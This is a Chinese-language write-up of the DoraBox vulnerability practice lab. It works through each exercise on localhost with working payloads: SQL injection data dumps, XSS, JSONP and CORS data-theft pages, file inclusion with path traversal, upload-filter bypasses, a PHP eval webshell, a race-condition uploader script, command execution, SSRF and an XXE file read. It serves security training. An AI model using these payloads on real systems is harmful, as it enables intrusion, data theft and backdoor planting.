DoraBox 漏洞練習平臺
項目地址:
https://github.com/gh0stkey/DoraBox
SQL註入
SQLi 數字型
判斷表中有多少列
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=1%20order%20by%201&submit=submit
依次增大order by 後面的值,直到報錯,報錯的前一個數為字段數
可以確定union註入的字段為3,此時我們構造註入語句
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,2,3&submit=submit
可以看到2,3列是顯示出來的,所以在這兩處插入註入語句
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20union%20select%201,concat(user(),%27|%27,database()),3&submit=submit
確定數據庫為pentest以後,去暴出表名
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()&submit=submit
確定表名以後,去暴出列名
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION%20SELECT%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27account%27&submit=submit
根據之前的列名和表名,可構造查詢字段內容
http://127.0.0.1/DoraBox/sql_injection/sql_num.php?id=-1%20UNION SELECT 1,2,concat_ws(‘|‘,id,rest,own) from account&submit=submit
SQLi 字符型
字符型與數字型的區別在於變量是否用單引號包裹,當不閉合單引號時,沒有查詢結果。
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox%20and%201=1&submit=submit
閉合單引號,成功執行插入的語句
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox‘ and ‘1‘=‘1&submit=submit
接下來的操作,與數字型相同,只需要記得需要閉合單引號
http://127.0.0.1/DoraBox/sql_injection/sql_string.php?title=DoraBox‘ and ‘1‘=‘2‘ union select 1,2,3‘&submit=submit
剩下的與數字型相同
SQLi 搜索型
搜索型同時包含單引號和百分號,都需要閉合
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%27%20and%20%271%27=%271&submit=submit
這裏引入了註釋符,避免受到後面%‘影響
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%‘ and 1=1--+&submit=submit
構造顯示顯性字段
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%‘ and 1=2 union select 1,2,3--+&submit=submit
接下來,如同前兩種一樣,暴出數據信息。
http://127.0.0.1/DoraBox/sql_injection/sql_search.php?content=DoraBox%‘ and 1=2 union select 1,concat_ws(‘|‘,id,title,content),3 from news--+&submit=submit
XSS跨站
XSS 反射型
xss反射型,輸入的代碼經過服務器端處理後返回頁面,造成代碼執行。
http://127.0.0.1/DoraBox/xss/reflect_xss.php?name=%3Cscript%3Ealert(/reflect_xss/)%3C/script%3E&submit=submit
這時候我們註意到頁面先是返回了string(37) “ 然後執行了註入代碼。
那麽為什麽會返回這個呢,我們看下源碼
DoraBox\xxs\reflect_xss.php
下面說一下我的理解,$p 創建了一個對象Func,方法是GET,參數是name,$p -> con_html生成表單,也就是我們一開始看到的頁面。
關鍵的是echo $p -> con_function(‘var_dump‘,$name);,這裏con_function是作者造的回調函數,作用是執行作者傳參進去的內容,當相應的函數執行。
那麽con_function(‘var_dump‘,$name) 的作用等價於var_dump($name),var_dump在處理字符串的時候會以如下形式string(字符串長度) "字符串內容"。
DoraBox\class\function.class.php
XSS 存儲型
存儲型xss作者設計的很有意思,采用直接向當前頁面追加內容的方式實現的,也就是說,如果你測試很多次的話,這個頁面會越來越大。
所以在name輸入框提交<script>alert(/reflect_xss/)</script>,再次刷新頁面即可觸發註入代碼。
根據上面得分析,能理解這段代碼執行了file_put_contents(__FILE__,$name,FILE_APPEND)采用追加的方式寫入當前頁面。
XSS DOM型
http://127.0.0.1/DoraBox/xss/dom_xss.php?name=%3Cscript%3Ealert(%2FDOM_xss%2F)%3C%2Fscript%3E&submit=submit
進行這個xss學習的時候,可以發送,xss代碼執行後沒有在源碼顯示出來,這可能就是DOM型xss的特點
var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
(^| )代表開始
( |$)代表結束
以&或者$結尾的字符串
這個正則是尋找&+url參數名字=值+&
&可以不存在。
window.location.search.substr(1).match(reg);
(1) location是包含了相關的url的信息,它是windown的一部分。
(2) search是一個可以查詢的屬性,可以查詢?之後的部分。
(3) substr(1)是為了去掉第一個?
(4) match()是你要匹配的部分 後面可以是正則表達式。
(5) return unescpe(r[2]) 返回的值 一個數組。
(6) 這裏是開始匹配,找到了返回對應url值,沒找到返回null。
後面的document.write 實際上就是DOM的寫方法,把輸入的內容寫出來
CSRF
JSONP劫持
JSONP 全稱是 JSON with Padding ,是基於 JSON 格式的為解決跨域請求資源而產生的解決方案。他實現的基本原理是利用了 HTML 裏 <script></script> 元素標簽,遠程調用 JSON 文件來實現數據傳遞。
當某網站聽過 JSONP 的方式來跨域(一般為子域)傳遞用戶認證後的敏感信息時,攻擊者可以構造惡意的 JSONP 調用頁面,誘導被攻擊者訪問來達到截取用戶敏感信息的目的。
直接訪問鏈接,頁面返回json格式的數據。
http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test
那麽劫持後應該是可以在其他域下獲得受害者的json信息,下面構造一個劫持頁面,將劫持的信息,alert出來
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>JSONP劫持測試</title> </head> <body> <script type="text/javascript"> function test(result) { alert(result.address); } </script> <script type="text/javascript" src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=test"></script> </body> </html>
成功獲得了json中的address內容
這個是作者提供的POC,在POC目錄裏面,可以獲取全部內容
<!--jsonp.html-->
<script>function vulkey(data){alert(JSON.stringify(data));}</script> <script src="http://127.0.0.1/DoraBox/csrf/jsonp.php?callback=vulkey"></script>
CORS跨域資源讀取
跨源資源共享 (CORS) 定義了在一個域中加載的客戶端 Web 應用程序與另一個域中的資源交互的方式,需要瀏覽器和服務器共同支持才能實現。
可以看到其源碼就是Access-Control-Allow-*系列,這個就是CORS的配置
下面就可以構造頁面獲取信息
<!DOCTYPE html> <html> <body> div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://127.0.0.1/DoraBox/csrf/userinfo.php", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
成功獲取到了數據
文件包含
任意文件包含
如果有看源碼的習慣的話,應該能註意到作者已經準備好了一個txt.txt
代碼中使用include 直接包含的,所以可以之前讀取
http://127.0.0.1/DoraBox/file_include/any_include.php?file=txt.txt&submit=submit
可以成功包含執行了txt.txt的php代碼
目錄限制文件包含
實際上這個與上一個的區別不大,區別就在加了一個./,感覺沒什麽影響
這裏我包含了phpstudy目錄裏面的phpinfo.php
http://127.0.0.1/DoraBox/file_include/include_1.php?file=../../phpinfo.php&submit=submit
文件上傳
任意文件上傳
第一個沒什麽可說的,任意文件上傳,隨便傳就行
JS限制文件上傳
前端限制後綴名,上傳jpg文件,攔包改後綴繞過
這裏可以看到成功上傳
MIME限制文件上傳
上傳php文件,顯示類型不正確,實際上MIME驗證就是檢測Content-type字段值的,直接更改上傳數據包中的Content-type即可繞過
修改Content-type值為圖片的格式(image/jpeg),成功繞過
擴展名限制文件上傳
采用後端驗證後綴名的方式,這個方式有很多,但是會有環境限制,實際環境中需要進行測試使用
服務端擴展名驗證繞過方法:
1、找黑名單擴展名的漏網之魚 - 比如上面就漏掉了 asa 和 cer 之類
2、可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
3、特別文件名構造 - 比如發送的 http 包裏把文件名改成 help.asp. 或 help.asp_(下劃線為空格),這種命名方式在 windows 系統裏是不被允許的,所以需要在 burp 之類裏進行修改, 然後繞過驗證後,會被 windows 系統自動去掉後面的點和空格。
4、IIS 或 nginx 文件名解析漏洞
比如 help.asp;.jpg 或 http://www.xx.com/help.jpg/2.php
這裏註意網上所謂的 nginx 文件名解析漏洞實際上是 php-fpm 文件名解析漏洞,詳見 http://www.cnbeta.com/articles/111752.htm
5、0x00 截斷繞過 - 這個是基於一個組合邏輯漏洞造成的
6、雙擴展名解析繞過攻擊(1) - 基於 web 服務的解析邏輯
比如上傳x.php.rar等文件
7、雙擴展名解析繞過攻擊(2) - 基於 web 服務的解析方式
如果在 Apache 的 conf 裏有這樣一行配置
AddHandler php5-script .php
這時只要文件名裏包含.php
即使文件名是 test2.php.jpg 也會以 php 來執行
針對本文的代碼,最簡單的就是使用更改大小寫上傳即可,或者使用上面的多種方法測試。
本例中,我用的.asp.的方式,成功繞過上傳的
內容限制文件上傳
同樣
文件上傳過程中圖像大小及相關信息檢測,通常我們會使用getimagesize()函數,此函數會返回一個數組。
Array
(
[0] => 2573
[1] => 16188
[2] => 1
[3] => width="2573" height="16188"
[channels] => 3
[mime] => image/gif
)
使用getimagesize()函數檢測,會判斷文件是否是一個有效的圖片文件,如果不是則會報錯,我們可以使用文件頭欺騙來繞過。
利用copy命令合成一個圖片馬,上傳
也可以直接添加圖片文件頭的方式繞過
代碼/命令執行
任意代碼執行
利用assert任意代碼執行……,分明就是一個webshell呀
http://127.0.0.1/DoraBox/code_exec/code.php?code=phpinfo();&submit=submit
好了,下面我要表演自己黑自己了…
成功連接上了code.php
任意命令執行
利用exec命令執行
http://127.0.0.1/DoraBox/code_exec/exec.php?command=whoami&submit=submit
有回顯,沒什麽可說的。
SSRF
SSRF
http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://www.baidu.com/img/bd_logo1.png&submit=submit
這裏執行一個對端口的請求,顯示計算機拒絕,可以用了判斷端口開放
http://127.0.0.1/DoraBox/ssrf/ssrf.php?url=http://127.0.0.1:6789&submit=submit
其他
條件競爭-支付
這個不太理解作者的目的,我認為作者條件競爭的地方可能在於錢數加減這裏,但是作者這個邏輯是希望只減錢不加錢還是什麽情況不大理解。
1、 查看程序邏輯,查詢打印出account中,rest和own字段
2、 判斷提交的錢數是否小於擁有的錢數,小於則執行查詢完成支付交易
3、 大於則彈出支付失敗
再來看作者的POC,作者起了25個線程,一共提交50次1塊錢
運行程序後,交易正常執行,不知漏洞處在哪裏了
條件競爭-上傳
上傳這塊的條件競爭比較明顯,程序邏輯處理是先將文件上傳上來,然後檢查後綴,後綴不在允許列表裏,刪除文件
而競爭的地方,是先刪除還是先執行,關鍵就在於趕在刪除之前執行上傳的文件
這是我們上傳的內容,打開info.php 寫入一句話木馬
<?php fputs(fopen("info.php", "w"), ‘<?php @eval($_POST["key"]);?>‘); ?>
通過並發可以實現在上傳成功未執行到刪除代碼的時候,訪問執行,生成info.php
下面是利用作者得POC
import requests import threading import os class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = ‘http://127.0.0.1/DoraBox/race_condition/uploads/key.php‘ #上傳的文件地址 self.uploadUrl = ‘http://127.0.0.1/DoraBox/race_condition/upload.php‘ #上傳文件的地址 def _get(self): print(‘try to call uploaded file...‘) r = requests.get(self.url) if r.status_code == 200: print(‘[*] create file info.php success.‘) os._exit(0) def _upload(self): print(‘upload file...‘) file = {‘myfile‘: open(‘key.php‘, ‘r‘)} #本地腳本木馬 requests.post(self.uploadUrl, files=file) def run(self): while True: for i in range(10): self._upload() self._get() if __name__ == ‘__main__‘: threads = 50 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join()
任意文件讀取
與文件包含的不同在於這個不能執行,只能讀取內容
http://127.0.0.1/DoraBox/others/file_read.php?filename=..%2Frace_condition%2Fkey.php&submit=submit
XXE
xxe的原理總是整不明白,就知道是通過引入外部實體來進行腳本執行和文件讀取
問題出在對xml的解析上面,我利用之前積累的代碼測試幾次都不成功--!
後來我看到原作者的操作,成功復現了,但是原理方面還需要在理解理解
<!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <user><username>&xxe;</username><password>admin</password></user>
DoraBox 漏洞練習平臺